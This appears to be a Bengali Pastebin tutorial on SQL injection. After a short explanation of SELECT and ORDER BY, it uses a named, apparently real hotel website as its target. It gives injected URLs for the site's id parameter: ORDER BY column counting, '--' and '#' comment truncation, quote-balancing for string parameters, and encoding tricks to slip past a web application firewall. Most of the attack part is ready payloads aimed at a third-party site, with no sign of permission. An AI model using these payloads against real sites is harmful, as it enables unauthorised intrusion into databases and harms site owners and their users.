parthosutradhor

কলাম কাউন্ট

May 9th, 2020
221
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.96 KB | None | 0 0
  1. অর্ডার বাই কিভাবে কাজ করেঃ
  2.  
  3. তার আগে জেনে নিই সিলেক্ট কিভাবে কাজ করেঃ
  4.  
  5. SELECT Name, Age FROM Person
  6. এর মাধ্যমে আমরা যেটা চাইছি যে, 'Person' টেবিল থেকে 'Name' আর 'Age' কলামের ডেটা।
  7. অর্থাৎ, SELECT এর পর সাধারণত কলাম নেম থাকে আর FROM এর পর সাধারণত টেবিল নেম।
  8.  
  9. output:
  10. Partho 23
  11. Rasel 34
  12. Fahim 15
  13. Azam 21
  14.  
  15. যদি বয়স অনুসারে সাজাতে চাই তবে?
  16. SELECT Name, Age FROM Person ORDER BY Age
  17. অর্থাৎ 'Age' কলাম অনুসারে সাজাবে। 'Age' আসলে 'Person' টেবিলের একটা কলাম। যদি সেটি টেবিলের ৩ নাম্বার কলাম হয় তবে এভাবে দিলেও কাজ করবে
  18. SELECT Name, Age FROM Person ORDER BY 3
  19.  
  20.  
  21. কিন্তু টেবিলে যদি মোট ১২ টি কলাম থাকে আর আমরা যদি SELECT Name, Age FROM Person ORDER BY 13 দেই তাহলে কাজ করবে না
  22. বলবে unknown column
  23.  
  24. আমাদের এখন টার্গেট লিঙ্ক http://hotelornate.com.pk/leftmenubody.php?id=56
  25. দিলাম http://hotelornate.com.pk/leftmenubody.php?id=56
  26. এখানে id এর মান 56
  27. backend query: SELECT * FROM 'table_name' Wthere id=<এখানে id এর মান বসবে> and submit='pass'; (ধরে নিলাম, আসলে ভেতরে কি আছে আমি জানি না)
  28. তার মানে
  29. backend query: SELECT * FROM 'table_name' Wthere id=56 and submit='pass';
  30.  
  31. এবার দিলাম http://hotelornate.com.pk/leftmenubody.php?id=56 ORDER BY 100000
  32. অর্থাৎ, id এর মান এখন 56 ORDER BY 100000
  33. backend query: SELECT * FROM 'table_name' Wthere id=56 ORDER BY 100000 and submit='pass';
  34.  
  35. এখানে সমস্যা হল 100000 এর পরের কোড যাতে কাজ না করে। তাই দিলাম এবার দিলাম
  36. http://hotelornate.com.pk/leftmenubody.php?id=56 ORDER BY 100000--
  37. backend query: SELECT * FROM 'table_name' Wthere id=56 ORDER BY 100000-- and submit='pass';
  38.  
  39. এবার হল আসল মজা। -- SQL মানে হল কমেন্ট। -- এর পর কিছু থাকলে তা আর কাজ করবে না।
  40. অর্থাৎ,
  41. backend query: SELECT * FROM 'table_name' Wthere id=56 ORDER BY 100000
  42. এতটুকু রান হবে। এখানে রেজাল্ট কে ১০০০০ কলামের অর্ডারে সাজানো হবে।
  43.  
  44. ১০০০০ টি কলাম না পেলে বলবে এতগুলো কলাম নাই
  45.  
  46. নোটঃ অনেক সময় WAF এর জন্য " " -- এগুলো ব্লক করা থাকে তাই আমরা " "(স্পেস) এর বদলে + এবং -- এর বদলে # বা # এর URL Encoding %23 ব্যবহার করবো।
  47. অর্থাৎ,
  48. http://hotelornate.com.pk/leftmenubody.php?id=56+ORDER+BY+100000%23
  49.  
  50.  
  51.  
  52. এতক্ষন আমরা যে মেথড নিয়ে কথা বললাম তা ইন্টিজার বেস ছিল।
  53. কারণ সেই কুয়েরি তে id ছিল ইন্টিজার ভেরিয়েবল
  54.  
  55.  
  56. যদি এমন হতঃ
  57.  
  58. আমাদের এখন টার্গেট লিঙ্ক http://hotelornate.com.pk/leftmenubody.php?id=56
  59. দিলাম http://hotelornate.com.pk/leftmenubody.php?id=56
  60. backend query: SELECT * FROM 'table_name' Wthere id='<এখানে id এর মান বসবে>' and submit='pass';
  61.  
  62. খেয়াল কর যারা হাল্কা প্রোগ্রামিং পারো তারা বুঝতে পারছো id এখানে স্ট্রিং টাইপ ভেরিয়েবল। কারণ তার ভ্যালু '' এর মাঝে আছে।
  63.  
  64. এবার দিলাম http://hotelornate.com.pk/leftmenubody.php?id=56 ORDER BY 100000
  65. অর্থাৎ, id এর মান এখন 56 ORDER BY 100000--
  66. তাই কোডে id='' এর '' এর মাঝে ভ্যালু বসে যাবে।
  67. backend query: SELECT * FROM 'table_name' Wthere id='56 ORDER BY 100000--' and submit='pass';
  68.  
  69. এবার কি হল!!!
  70. মূল কোড
  71. backend query: SELECT * FROM 'table_name' Wthere id='56 ORDER BY 100000
  72. এটা কাজ তো না করার ই কথা। কারণ id='56 ORDER BY 100000 একটা ' কম আছে।
  73.  
  74. যদি এভাবে দেই?
  75. এবার দিলাম http://hotelornate.com.pk/leftmenubody.php?id=56' ORDER BY 100000--
  76. অর্থাৎ, id এর মান এখন 56' ORDER BY 100000-- তাহলেই ' ব্যালেন্স হয়ে গেলো
  77. backend query: SELECT * FROM 'table_name' Wthere id='56' ORDER BY 100000--' and submit='pass';
  78. মূল কোডঃ SELECT * FROM 'table_name' Wthere id='56' ORDER BY 100000
  79.  
  80. মাঝে মাঝে একটা + দেওয়া লাগে, আসলে + মানে একটা স্পেস। তবে # ব্যবহার করলে তার দরকার নাই
  81. এবার দিলাম http://hotelornate.com.pk/leftmenubody.php?id=56' ORDER BY 100000--+
  82. অর্থাৎ, id এর মান এখন 56' ORDER BY 100000--+
  83. backend query: SELECT * FROM 'table_name' Wthere id='56' ORDER BY 100000--+' and submit='pass';
  84. মূল কোডঃ SELECT * FROM 'table_name' Wthere id='56' ORDER BY 100000
  85. এবার চিল আর চিল !!!
Add Comment
Please, Sign In to add comment